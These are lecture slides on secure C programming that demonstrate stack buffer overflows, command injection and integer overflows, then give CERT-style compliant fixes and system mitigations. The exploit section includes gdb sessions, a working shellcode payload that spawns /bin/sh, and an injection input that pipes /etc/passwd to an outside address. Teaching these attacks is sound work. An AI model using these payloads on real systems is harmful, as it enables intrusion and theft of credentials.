

Secure Programming in C

Lef Ioannidis

MIT EECS

Vulnerability statistics over the years (NIST)




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Lecture Roadmap

What we will cover:



Example attacks and exploits.



C-specific prevention & mitigation.



System-wide prevention & mitigation.

Target: GNU/Linux systems.

CC: GCC \geq 4.4.



Case study: the notorious buffer overflow

A buffer overflow example.





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Memory Management: Linux



Courtesy of Gustavo Duarte. Used with permission.

<http://duartes.org/gustavo/blog/>



Vulnerable code

```
1  #include <string.h>
2
3  #define goodPass "GOODPASS"
4
5  int main() {
6      char passIsGood=0;
7      char buf[80];
8
9      printf("Enter password:\n");
10     gets(buf);
11
12     if (strcmp(buf, goodPass)==0)
13         passIsGood=1;
14     if (passIsGood == 1)
15         printf("You win!\n");
16 }
```



Our first exploit

```
/bin/bash
```

```
$ python -c " print 'x'*80 + '\x01' " | ./test1  
Enter password:  
You win!  
$
```



Our first exploit

```
/bin/bash
```

```
$ python -c " print 'x'*80 + '\x01' " | ./test1  
Enter password:  
You win!  
$
```

Line 10: `gets(buf);`

“Never use `gets()`.” - GNU Man pages(3), `gets()`



Secure version of previous code

```
1 #include <string.h>
2 #include <stdio.h>
3
4 #define goodPass "GOODPASS"
5 #define STRSIZE 80
6
7 int main() {
8     char passIsGood=0;
9     char buf[STRSIZE+1];
10
11     printf("Enter password:\n");
12     fgets(buf,STRSIZE,stdin);
13
14     if(strncmp(buf,goodPass,STRSIZE)==0)
15         passIsGood=1;
16     if (passIsGood == 1)
17         printf("You win!\n");
18 }
```



The stack: Linux




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Dowd, McDonald, Schuh-The art of software security assesment,fig: 5.3



Stack frames: C

How functions are pushed in the stack:

```
1 void function(int a, int b, int c) {  
2     char buffer1[5];  
3     char buffer2[10];  
4 }  
5  
6 void main() {  
7     function(1,2,3);  
8 }
```

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Stack frames: x86 assembly

```
1  function :
2      pushl   %ebp
3      movl    %esp, %ebp
4      subl    $16, %esp
5      leave
6      ret
7      .size   function, .-function
8  .globl main
9      .type   main, @function
10 main :
11     pushl   %ebp
12     movl    %esp, %ebp
13     subl    $12, %esp
14     movl    $3, 8(%esp)
15     movl    $2, 4(%esp)
16     movl    $1, (%esp)
17     call    function
18     leave
19     ret
```

Stack operations to call function

```
1  subl $12, %esp
2  movl $3, 8(%esp)
3  movl $2, 4(%esp)
4  movl $1, (%esp)
5  call function
```

$3 \times \text{sizeof}(\text{int}) = 12 \text{ bytes.}$

- Note: The arguments are in reverse order because the **Linux stack grows down**.
- **Call** will push the IP in the stack.

Stack operations to call function

```
1  subl $12, %esp
2  movl $3, 8(%esp)
3  movl $2, 4(%esp)
4  movl $1, (%esp)
5  call function
```



```
1  function:
2          pushl %ebp
3          movl %esp, %ebp
4          subl $16, %esp
```

- Pushes the base pointer (EBP) in the stack, now it's a saved frame pointer (SFP).
- Moves the stack pointer (ESP) in EBP, substituting the previous address.
- Subtracts space for the local variables from ESP.



Smashing the stack

Using buffer overflow to overwrite a return address.



Images by MIT OpenCourseWare.



Cool exercise: stack4.c

```
1  int main() {
2      int cookie;
3      char buf[80];
4
5      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
6      gets(buf);
7
8      if (cookie == 0x000a0d00)
9          printf("you win!\n");
10 }
```

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["http://community.coresec.org/~gera/InsecureProgramming/"](http://community.coresec.org/~gera/InsecureProgramming/)



Cool exercise: stack4.c

```
1  int main() {
2      int cookie;
3      char buf[80];
4
5      printf("buf: %08x cookie: %08x\n", &buf, &cookie);
6      gets(buf);
7
8      if (cookie == 0x000a0d00)
9          printf("you win!\n");
10 }
```

- Still uses `gets()`, so it is vulnerable to buffer overflow.
- `0x000a0d00 == { NULL, new line, carriage return, NULL }`
- Impossible to write `0x000a0d00` to `cookie` because all these bytes trigger `gets()` to stop reading characters.
- We need to redirect program flow to `printf("You win\n");`



Overwriting the EIP

```
1  int main() {  
2      int cookie;  
3      char buf[80];  
4  
5      printf("buf: %08x cookie: %08x\n", &buf, &cookie);  
6      gets(buf);  
7  
8      if (cookie == 0x000a0d00)  
9          printf("you win!\n");  
10 }
```

- When a function is called it immediately pushes the EIP into the stack (SFP).
- After it is complete a `ret` instruction pops the stack and moves SFP back to EIP.
- Trick: Overwrite the SFP, while it's in the stack.



Exploiting stack#4.c

```
/bin/bash
```

```
$ gdb stack4
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
$
```

EIP is overwritten! 0x61616161 = "aaaa"



Now let's disassemble main()

```
1 0x08048424 <main+0>: push    %ebp
2 0x08048425 <main+1>: mov     %esp,%ebp
3 0x08048427 <main+3>: and     $0xffffffff,%esp
4 0x0804842a <main+6>: sub     $0x70,%esp
5 0x0804842d <main+9>: lea     0x6c(%esp),%eax
6 0x08048431 <main+13>: mov     %eax,0x8(%esp)
7 0x08048435 <main+17>: lea     0x1c(%esp),%eax
8 0x08048439 <main+21>: mov     %eax,0x4(%esp)
9 0x0804843d <main+25>: movl    $0x8048530,(%esp)
10 0x08048444 <main+32>: call    0x8048350 <printf@plt>
11 0x08048449 <main+37>: lea     0x1c(%esp),%eax
12 0x0804844d <main+41>: mov     %eax,(%esp)
13 0x08048450 <main+44>: call    0x8048330 <gets@plt>
14 0x08048455 <main+49>: mov     0x6c(%esp),%eax
15 0x08048459 <main+53>: cmp     $0xa0d00,%eax
16 0x0804845e <main+58>: jne     0x804846c <main+72>
17 0x08048460 <main+60>: movl    $0x8048548,(%esp)
18 0x08048467 <main+67>: call    0x8048360 <puts@plt>
19 0x0804846c <main+72>: leave
20 0x0804846d <main+73>: ret
```



Registers

```
/bin/gdb stack4
```

```
(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax                0xb7fc8ff4 -1208184844
ecx                0xbffff58c -1073744500
edx                0xb7fca334 -1208179916
ebx                0xb7fc8ff4 -1208184844
esp                0xbffff5ec 0xbffff5ec
ebp                0xbffff668 0xbffff668
esi                0x0 0
edi                0x0 0
eip                0x0804846d 0x0804846d <main+73>
```



We have everything we need

buf: bffff58c

esp: 0xbffff5ec 0xbffff5ec

```
1 0x08048459 <main+53>: cmp      $0xa0d00,%eax
2 0x0804845e <main+58>: jne      0x804846c <main+72>
3 0x08048460 <main+60>: movl     $0x8048548,(%esp)
4 0x08048467 <main+67>: call     0x8048360 <puts@plt>
```

- $0xbffff5ec - 0xbffff58c = 0x00000060 = 96$ bytes we need to overflow.
- Jump to: 0x08048460
- Linux → Reverse stack → \x60\x84\x04\x08

Payload: Control Flow Redirection

```
/bin/bash
```

```
$ python -c ''print 'a' * 96 + '\x60\x84\x04\x08' '' |  
./test1  
buf: bffff58c cookie: bffff5dc  
you win!  
Segmentation fault  
$
```



Payload: Getting shell

exploit.py

```
#!/usr/bin/env python
```

```
shellcode = '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'
```

```
print shellcode + '\x90' * 51 + '\x5c\xb3\x04\x08'
```

/bin/bash -> Got shell!

```
$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$
```




Other Attacks

- Off-by-one exploits

Common programming mistake when computing array boundaries. In little endian architectures this can result in overwriting the least significant byte.

Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.



Other Attacks

- Return-to-libc

Similar in principal to a buffer overflow but instead of executing arbitrary shellcode you call functions from libc.so.

Works when a `noexec` stack is enforced.



Other Attacks

- Heap Overflow

Taking advantage of libc bugs to take over dynamically allocated memory, or even the memory allocator itself. Many 0-day exploits nowadays are heap overflows.

He who controls the allocator, controls the system! - Anonymous



More information

- The Phrack magazine. (<http://www.phrack.org>)
- The Defcon Conference. (<http://www.defcon.org>)
- LL CTF, MIT SEC seminars.

Next: C-specific prevention & mitigation



Secure your code: CERT secure coding standards

Logo for [CERT Software Engineering Institute, Carnegie Mellon](#) removed due to copyright restrictions.

- Standards for C, C++ and Java (some still under development).
- Managed string library.
- Real world examples of insecure code.



Learning by the counter-example of others

Bad code examples will help you learn how to write secure code and prevent:

- Security Holes
- Undefined behaviour
- Obscurity
- Errors



String null termination errors#1

```
1  int main(int argc, char *argv[]) {
2      char cmdline [4096];
3      cmdline[0] = '\\0';
4
5      for (int i = 1; i < argc; ++i) {
6          strcat(cmdline, argv[i]);
7          strcat(cmdline, " ");
8      }
9      /* ... */
10     return 0;
11 }
```



Compliant code

```
1  int main(int argc, char *argv[]) {
2      size_t bufsz = 0;
3      size_t buflen = 0;
4      char* cmdline = NULL;
5      for (int i = 1; i < argc; ++i) {
6          const size_t len = strlen(argv[i]);
7          if (bufsz - buflen <= len) {
8              bufsz = (bufsz + len) * 2;
9              cmdline = realloc(cmdline, bufsz);
10             if (NULL == cmdline)
11                 return 1; /* realloc failure */
12         }
13         memcpy(cmdline + buflen, argv[i], len);
14         buflen += len;
15         cmdline[buflen++] = ' ';
16     }
17     cmdline[buflen] = '\0';
18     /* ... */
19     free(cmdline);
20     return 0;
21 }
```




String null termination errors#2

```
1 char buf[BUFSIZ];  
2  
3 if (gets(buf) == NULL) {  
4     /* Handle Error */  
5 }
```



Compliant code

```
1 char buf[BUFSIZE];
2 int ch;
3 char *p;
4
5 if (fgets(buf, sizeof(buf), stdin)) {
6     /* fgets succeeds, scan for newline character */
7     p = strchr(buf, '\n');
8     if (p)
9         *p = '\0';
10    else {
11        /* newline not found, flush stdin to end of line */
12        while (((ch = getchar()) != '\n')
13               && !feof(stdin)
14               && !ferror(stdin)
15        );
16    }
17 }
18 else {
19     /* fgets failed, handle error */
20 }
```



String null termination errors#3

```
1 char *string_data;  
2 char a[16];  
3 /* ... */  
4 strncpy(a, string_data, sizeof(a));
```



Compliant solution:

```
1 char *string_data = NULL;
2 char a[16];
3
4 /* ... */
5
6 if (string_data == NULL) {
7     /* Handle null pointer error */
8 }
9 else if (strlen(string_data) >= sizeof(a)) {
10    /* Handle overlong string error */
11 }
12 else {
13     strcpy(a, string_data);
14 }
```



Passing strings to complex subsystems

```
1  sprintf( buffer , " /bin/mail %s < /tmp/email" , addr );  
2  system( buffer );
```

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Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Networking, Input Validation & More.





Passing strings to complex subsystems

```
1 sprintf(buffer, "/bin/mail %s < /tmp/email", addr);  
2 system(buffer);
```

What if:

bogus@addr.com; cat /etc/passwd |mail somebadguy.net

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Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography, Authentication, Networking, Input Validation & More.





Compliant solution: Whitelisting

```
1  static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"  
2                               "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  
3                               "1234567890_-.@";  
4  char user_data[] = "Bad char 1:} Bad char 2:{";  
5  char *cp = user_data; /* cursor into string */  
6  const char *end = user_data + strlen( user_data);  
7  for (cp += strspn(cp, ok_chars);  
8       cp != end;  
9       cp += strspn(cp, ok_chars)) {  
10     *cp = '_';  
11 }
```

Based on the tcp_wrappers package written by Wietse Venema





Off-by-one errors

Can you find all the off-by-one errors?

```
1  int main(int argc, char* argv[]) {  
2      char source[10];  
3      strcpy(source, "0123456789");  
4      char *dest = (char *)malloc(strlen(source));  
5      for (int i=1; i <= 11; i++) {  
6          dest[i] = source[i];  
7      }  
8      dest[i] = '\\0';  
9      printf("dest = %s", dest);  
10 }
```

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Integer overflow errors#1: Addition

```
1  unsigned int ui1 , ui2 , usum;  
2  
3  /* Initialize ui1 and ui2 */  
4  
5  usum = ui1 + ui2;
```



Compliant code

```
1  unsigned int ui1, ui2, usum;
2
3  /* Initialize ui1 and ui2 */
4
5  if (UINT_MAX - ui1 < ui2) {
6      /* handle error condition */
7  }
8  else {
9      usum = ui1 + ui2;
10 }
```



Integer overflow errors#2: Subtraction

```
1 signed int si1, si2, result;  
2  
3 /* Initialize si1 and si2 */  
4  
5 result = si1 - si2;
```



Compliant code

```
1  signed int si1, si2, result;
2
3  /* Initialize si1 and si2 */
4
5  if ((si2 > 0 && si1 < INT_MIN + si2) ||
6      (si2 < 0 && si1 > INT_MAX + si2)) {
7      /* handle error condition */
8  }
9  else {
10     result = si1 - si2;
11 }
```



Integer overflow errors#3: Multiplication

```
1
2 signed int si1, si2, result;
3
4 /* ... */
5
6 result = si1 * si2;
```



Compliant code

```
1  signed int si1, si2, result;
2
3  /* Initialize si1 and si2 */
4  static_assert(
5      sizeof(long long) >= 2 * sizeof(int),
6      "Unable to detect overflow after multiplication"
7  );
8  signed long long tmp = (signed long long)si1 *
9                        (signed long long)si2;
10 /*
11  * If the product cannot be represented as a 32-bit integer,
12  * handle as an error condition.
13  */
14 if ( (tmp > INT_MAX) || (tmp < INT_MIN) ) {
15     /* handle error condition */
16 }
17 else {
18     result = (int)tmp;
19 }
```

GCC Preprocessor: Inlines VS macros

■ Non-compliant code

```
1 #define CUBE(X) ((X) * (X) * (X))
2 int i = 2;
3 int a = 81 / CUBE(++i);
```

GCC Preprocessor: Inlines VS macros

■ Non-compliant code

```
1 #define CUBE(X) ((X) * (X) * (X))
2 int i = 2;
3 int a = 81 / CUBE(++i);
```

Expands to:

```
1 int a = 81 / ((++i) * (++i) * (++i)); //Undefined!
```


GCC Preprocessor: Inlines VS macros

■ Non-compliant code

```
1 #define CUBE(X) ((X) * (X) * (X))
2 int i = 2;
3 int a = 81 / CUBE(++i);
```

Expands to:

```
1 int a = 81 / ((++i) * (++i) * (++i)); //Undefined!
```

■ Compliant code

```
1 inline int cube(int i) {
2     return i * i * i;
3 }
4 int i = 2;
5 int a = 81 / cube(++i);
```




Advanced techniques for securing your code

- Using secure libraries: Managed string library, Microsoft secure string library, safeStr.
- They provide alternatives to insecure standard C functions. (ie: safeStr)

safestr_append()	strcat()
safestr_nappend()	strncat()
safestr_compare()	strcpy()
safestr_find()	strncpy()
safestr_copy()	strcmp()
safestr_length()	strlen()
safestr_sprintf()	sprintf()
safestr_vsprintf()	vsprintf()



Advanced techniques for securing your code

■ Canaries

- Terminator: NULL, CR, LF, -1. Weak because the canary is known.
- Random: Generating random bytes in the end of buffer during runtime.
- Random XOR: Random canaries XOR scrambled with all or parts of the control data.



Protecting your System

- W^X protection, the data section on the stack is flagged as not executable and the program memory as not writable.
- ASLR: Address space layout randomization. Randomly allocate shared libraries, stack and heap.
- Setting the NX bit: CPU support for flagging executable and non-executable data. Reduces overhead for W^X.
- iOS5: CSE: Code Signing Enforcement. Signing each executable memory page and checking the CS_VALID flag. Prevents changes in executable code during runtime.

That's all!

Thank you. Questions?

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